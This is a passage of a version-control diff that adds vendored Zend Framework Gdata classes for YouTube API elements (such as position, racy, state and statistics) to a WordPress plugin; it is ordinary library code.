+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_PlaylistTitle extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'playlistTitle';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Position.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Position.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Position.php	(revision 44)
@@ -0,0 +1,89 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Data model class to represent a playlist item's position in the list (yt:position)
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Position extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'position';
+    protected $_rootNamespace = 'yt';
+
+    /**
+     * Constructs a new Zend_Gdata_YouTube_Extension_Position object.
+     *
+     * @param string $value (optional) The 1-based position in the playlist
+     */
+    public function __construct($value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $value;
+    }
+
+    /**
+     * Get the value for the position in the playlist
+     *
+     * @return int The 1-based position in the playlist
+     */
+    public function getValue()
+    {
+        return $this->_text;
+    }
+
+    /**
+     * Set the value for the position in the playlist
+     *
+     * @param int $value The 1-based position in the playlist
+     * @return Zend_Gdata_Extension_Visibility The element being modified
+     */
+    public function setValue($value)
+    {
+        $this->_text = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     *
+     * @return string
+     */
+    public function __toString()
+    {
+        return $this->getValue();
+    }
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Private.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Private.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Private.php	(revision 44)
@@ -0,0 +1,80 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:private element used by the YouTube data API
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Private extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'yt';
+    protected $_rootElement = 'private';
+
+    /**
+     * Constructs a new Zend_Gdata_YouTube_Extension_Private object.
+     */
+    public function __construct()
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and valueare
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        parent::takeAttributeFromDOM($attribute);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/QueryString.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/QueryString.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/QueryString.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:queryString element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_QueryString extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'queryString';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Racy.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Racy.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Racy.php	(revision 44)
@@ -0,0 +1,123 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:racy element used by the YouTube data API
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Racy extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'yt';
+    protected $_rootElement = 'racy';
+    protected $_state = null;
+
+    /**
+     * Constructs a new Zend_Gdata_YouTube_Extension_Racy object.
+     * @param bool $state(optional) The state value of the element.
+     */
+    public function __construct($state = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_state = $state;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_state !== null) {
+            $element->setAttribute('state', $this->_state);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and value are
+     * stored in an array.
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'state':
+            $this->_state = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's state attribute.
+     *
+     * @return bool The value associated with this attribute.
+     */
+    public function getState()
+    {
+        return $this->_state;
+    }
+
+    /**
+     * Set the value for this element's state attribute.
+     *
+     * @param bool $value The desired value for this attribute.
+     * @return Zend_Gdata_YouTube_Extension_Racy The element being modified.
+     */
+    public function setState($value)
+    {
+        $this->_state = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     */
+    public function __toString()
+    {
+        return $this->_state;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Recorded.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Recorded.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Recorded.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:recorded element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Recorded extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'recorded';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Relationship.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Relationship.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Relationship.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:relationship element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Relationship extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'relationship';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/ReleaseDate.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/ReleaseDate.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/ReleaseDate.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:releaseDate element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_ReleaseDate extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'releaseDate';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/School.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/School.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/School.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:school element
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_School extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'school';
+    protected $_rootNamespace = 'yt';
+
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/State.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/State.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/State.php	(revision 44)
@@ -0,0 +1,192 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:state element used by the YouTube data API
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_State extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'yt';
+    protected $_rootElement = 'state';
+    protected $_name = null;
+    protected $_reasonCode = null;
+    protected $_helpUrl = null;
+
+    /**
+     * Constructs a new Zend_Gdata_YouTube_Extension_State object.
+     *
+     * @param string $explanation(optional) The explanation of this state
+     * @param string $name(optional) The name value
+     * @param string $reasonCode(optional) The reasonCode value
+     * @param string $helpUrl(optional) The helpUrl value
+     */
+    public function __construct($explanation = null, $name = null,
+                                $reasonCode = null, $helpUrl = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_text = $explanation;
+        $this->_name = $name;
+        $this->_reasonCode = $reasonCode;
+        $this->_helpUrl = $reasonCode;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_name !== null) {
+            $element->setAttribute('name', $this->_name);
+        }
+        if ($this->_reasonCode !== null) {
+            $element->setAttribute('reasonCode', $this->_reasonCode);
+        }
+        if ($this->_helpUrl !== null) {
+            $element->setAttribute('helpUrl', $this->_helpUrl);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and valueare
+     * stored in an array.
+     * TODO: Convert attributes to proper types
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'name':
+            $this->_name = $attribute->nodeValue;
+            break;
+        case 'reasonCode':
+            $this->_reasonCode = $attribute->nodeValue;
+            break;
+        case 'helpUrl':
+            $this->_helpUrl = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's name attribute.
+     *
+     * @return int The value associated with this attribute.
+     */
+    public function getName()
+    {
+        return $this->_name;
+    }
+
+    /**
+     * Set the value for this element's name attribute.
+     *
+     * @param int $value The desired value for this attribute.
+     * @return Zend_Gdata_YouTube_Extension_State The element being modified.
+     */
+    public function setName($value)
+    {
+        $this->_name = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's reasonCode attribute.
+     *
+     * @return int The value associated with this attribute.
+     */
+    public function getReasonCode()
+    {
+        return $this->_reasonCode;
+    }
+
+    /**
+     * Set the value for this element's reasonCode attribute.
+     *
+     * @param int $value The desired value for this attribute.
+     * @return Zend_Gdata_YouTube_Extension_State The element being modified.
+     */
+    public function setReasonCode($value)
+    {
+        $this->_reasonCode = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's helpUrl attribute.
+     *
+     * @return int The value associated with this attribute.
+     */
+    public function getHelpUrl()
+    {
+        return $this->_helpUrl;
+    }
+
+    /**
+     * Set the value for this element's helpUrl attribute.
+     *
+     * @param int $value The desired value for this attribute.
+     * @return Zend_Gdata_YouTube_Extension_State The element being modified.
+     */
+    public function setHelpUrl($value)
+    {
+        $this->_helpUrl = $value;
+        return $this;
+    }
+
+    /**
+     * Magic toString method allows using this directly via echo
+     * Works best in PHP >= 4.2.0
+     *
+     * @return string
+     */
+    public function __toString()
+    {
+        return $this->_text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Statistics.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Statistics.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/YouTube/Extension/Statistics.php	(revision 44)
@@ -0,0 +1,308 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * Represents the yt:statistics element used by the YouTube data API
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage YouTube
+ * @copyright  Copyright (c) 2005-2009 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_YouTube_Extension_Statistics extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'yt';
+    protected $_rootElement = 'statistics';
+
+    /**
+     * The videoWatchCount attribute specifies the number of videos
+     * that a user has watched on YouTube. The videoWatchCount attribute
+     * is only specified when the <yt:statistics> tag appears within a
+     * user profile entry.
+     *
+     * @var integer
+     */
+    protected $_videoWatchCount = null;
+
+    /**
+     * When the viewCount attribute refers to a video entry, the attribute
+     * specifies the number of times that the video has been viewed.
+     * When the viewCount attribute refers to a user profile, the attribute
+     * specifies the number of times that the user's profile has been
+     * viewed.
+     *
+     * @var integer
+     */
+    protected $_viewCount = null;
+
+    /**
+     * The subscriberCount attribute specifies the number of YouTube users
+     * who have subscribed to a particular user's YouTube channel.
+     * The subscriberCount attribute is only specified when the
+     * <yt:statistics> tag appears within a user profile entry.
+     * 
+     * @var integer
+     */
+    protected $_subscriberCount = null;
+
+    /**
+     * The lastWebAccess attribute indicates the most recent time that
+     * a particular user used YouTube.
+     *
+     * @var string
+     */
+    protected $_lastWebAccess = null;
+
+    /**
+     * The favoriteCount attribute specifies the number of YouTube users
+     * who have added a video to their list of favorite videos. The
+     * favoriteCount attribute is only specified when the
+     * <yt:statistics> tag appears within a video entry.
+     *
+     * @var integer
+     */
+    protected $_favoriteCount = null;
+
+    /**
+     * Constructs a new Zend_Gdata_YouTube_Extension_Statistics object.
+     * @param string $viewCount(optional) The viewCount value
+     * @param string $videoWatchCount(optional) The videoWatchCount value
+     * @param string $subscriberCount(optional) The subscriberCount value
+     * @param string $lastWebAccess(optional) The lastWebAccess value
+     * @param string $favoriteCount(optional) The favoriteCount value
+     */
+    public function __construct($viewCount = null, $videoWatchCount = null,
+        $subscriberCount = null, $lastWebAccess = null,
+        $favoriteCount = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_YouTube::$namespaces);
+        parent::__construct();
+        $this->_viewCount = $viewCount;
+        $this->_videoWatchCount = $videoWatchCount;
+        $this->_subscriberCount = $subscriberCount;
+        $this->_lastWebAccess = $lastWebAccess;
+        $this->_favoriteCount = $favoriteCount;
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for sending to the server upon updates, or
+     * for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     * child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_videoWatchCount !== null) {
+            $element->setAttribute('watchCount', $this->_videoWatchCount);
+        }
+        if ($this->_viewCount !== null) {
+            $element->setAttribute('viewCount', $this->_viewCount);
+        }
+        if ($this->_subscriberCount !== null) {
+            $element->setAttribute('subscriberCount',
+                $this->_subscriberCount);
+        }
+        if ($this->_lastWebAccess !== null) {
+            $element->setAttribute('lastWebAccess',
+                $this->_lastWebAccess);
+        }
+        if ($this->_favoriteCount !== null) {
+            $element->setAttribute('favoriteCount',
+                $this->_favoriteCount);
+        }
+        return $element;
+    }
+
+    /**
+     * Given a DOMNode representing an attribute, tries to map the data into
+     * instance members.  If no mapping is defined, the name and valueare
+     * stored in an array.
+     * TODO: Convert attributes to proper types
+     *
+     * @param DOMNode $attribute The DOMNode attribute needed to be handled
+     */
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'videoWatchCount':
+            $this->_videoWatchCount = $attribute->nodeValue;
+            break;
+        case 'viewCount':
+            $this->_viewCount = $attribute->nodeValue;
+            break;
+        case 'subscriberCount':
+            $this->_subscriberCount = $attribute->nodeValue;
+            break;
+        case 'lastWebAccess':
+            $this->_lastWebAccess = $attribute->nodeValue;
+            break;
+        case 'favoriteCount':
+            $this->_favoriteCount = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Get the value for this element's viewCount attribute.
+     *
+     * @return int The value associated with this attribute.
+     */
+    public function getViewCount()
+    {
+        return $this->_viewCount;
+    }
+
+    /**
+     * Set the value for this element's viewCount attribute.
+     *
+     * @param int $value The desired value for this attribute.
+     * @return Zend_Gdata_YouTube_Extension_Statistics The element being
+     * modified.
+     */
+    public function setViewCount($value)
+    {
+        $this->_viewCount = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's videoWatchCount attribute.
+     *
+     * @return int The value associated with this attribute.
+     */
+    public function getVideoWatchCount()
+    {
+        return $this->_videoWatchCount;
+    }
+
+    /**
+     * Set the value for this element's videoWatchCount attribute.
+     *
+     * @param int $value The desired value for this attribute.
+     * @return Zend_Gdata_YouTube_Extension_Statistics The element being 
+     * modified.
+     */
+    public function setVideoWatchCount($value)
+    {
+        $this->_videoWatchCount = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's subscriberCount attribute.
+     *
+     * @return int The value associated with this attribute.
+     */
+    public function getSubscriberCount()
+    {
+        return $this->_subscriberCount;
+    }
+
+    /**
+     * Set the value for this element's subscriberCount attribute.
+     *
+     * @param int $value The desired value for this attribute.
+     * @return Zend_Gdata_YouTube_Extension_Statistics The element being 
+     * modified.
+     */
+    public function setSubscriberCount($value)
+    {
+        $this->_subscriberCount = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's lastWebAccess attribute.
+     *
